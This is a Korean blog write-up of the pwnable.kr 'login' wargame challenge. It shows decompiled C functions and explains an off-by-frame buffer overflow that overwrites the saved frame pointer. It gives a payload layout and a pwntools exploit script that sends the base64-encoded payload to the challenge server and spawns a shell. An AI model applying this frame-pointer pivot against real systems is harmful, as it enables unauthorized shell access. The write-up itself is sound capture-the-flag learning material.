1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | int __cdecl main(int argc, const char **argv, const char **envp) { _BYTE *real_input; // [esp+18h] [ebp-28h] char in; // [esp+1Eh] [ebp-22h] unsigned int len; // [esp+3Ch] [ebp-4h] memset(&in, 0, 0x1Eu); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); printf("Authenticate : "); _isoc99_scanf("%30s", &in); memset(&input, 0, 0xCu); real_input = 0; len = Base64Decode(&in, &real_input); if ( len > 0xC ) { puts("Wrong Length"); } else { memcpy(&input, real_input, len); if ( auth(len) == 1 ) correct(); } return 0; } | cs |
코드를 보면 알겠지만 입력을 base64 디코딩하고 이것을 real_input으로 다룬다.
따라서 입력은 우리가 real_input에 들어가길 원하는 값을 base64로 인코딩한 값이어야한다.
1 2 3 4 5 6 7 8 9 10 11 | _BOOL4 __cdecl auth(int len) { char v2; // [esp+14h] [ebp-14h] char *s2; // [esp+1Ch] [ebp-Ch] int buff; // [esp+20h] [ebp-8h] memcpy(&buff, &input, len); s2 = calc_md5(&v2, 12); printf("hash : %s\n", s2); return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0; } | cs |
처음에 auth함수를 보고 real_input을 md5 해싱한 값을 보고 알맞은 입력을 넣어서 푸는 문제라고 생각했다.
근데 strcmp 안의 문자열을 아무리 복호화 해도 값이 안나와서 빡침.
같은 값을 여러번 입력으로 넣어보니 매번 값이 달라지는 것을 통해 코드대로 푸는 문제가 아니라는 것을 알았다.
여기서 보면 auth함수의 buff에 memcpy하는 부분이 이상하다.
뒤에 어느 부분에서도 buff배열을 다루지 않기 때문,
그리고 buff위치도 ebp에서 8만큼만 떨어져있기 때문에 bof시키기에 최적합이다.
1 2 3 4 5 6 7 8 9 | void __noreturn correct() { if ( input == 0xDEADBEEF ) { puts("Congratulation! you are good!"); system("/bin/sh"); } exit(0); } | cs |
처음에는 간단하게 앞의 12바이트를 dump로 채우고 뒤에 4바이트는 correct 함수 안의 system주소로 채워서
eip를 system으로 돌리고자 하였다.
그런데 main 함수의 코드를 보면 raw_input의 길이가 12를 넘으면 auth함수가 실행이 안된다.
따라서 실패
결국 길이가 12 이하이면 auth함수의 sfp 밖에 조작할 수 없다.
그런데 auth함수가 끝나고 바로 main함수도 끝나면서 함수의 에필로그가 두번 발생하므로 충분히 shell을 딸 수 있다.
페이로드 구성
dump(4) + system_addr(4) + buff_addr(4)
1. auth함수의 leave ret에서 ebp는 buff의 맨 앞으로 이동한다.
2. 그 뒤 main함수의 leave ret에서 ebp는 dump값으로 이동하고 eip에는 system의 주소가 들어간다.
3. 쉘이 따진다.
exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | from pwn import * import base64 p = remote("pwnable.kr",9003) print p.recv(2222) shell_addr = 0x8049278 buff_addr = 0x811EB40 pay = "A"*4 pay += p32(shell_addr) pay += p32(buff_addr) print pay pay = base64.encodestring(pay) p.sendline(pay) p.interactive() | cs |
'정보보안 > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] shellshock (0) | 2018.11.09 |
---|---|
[pwnable.kr] mistake (0) | 2018.11.08 |
[pwnable.kr] leg (0) | 2018.11.08 |
[pwnable.kr] input (0) | 2018.11.08 |
[pwnable.kr] random (0) | 2018.11.08 |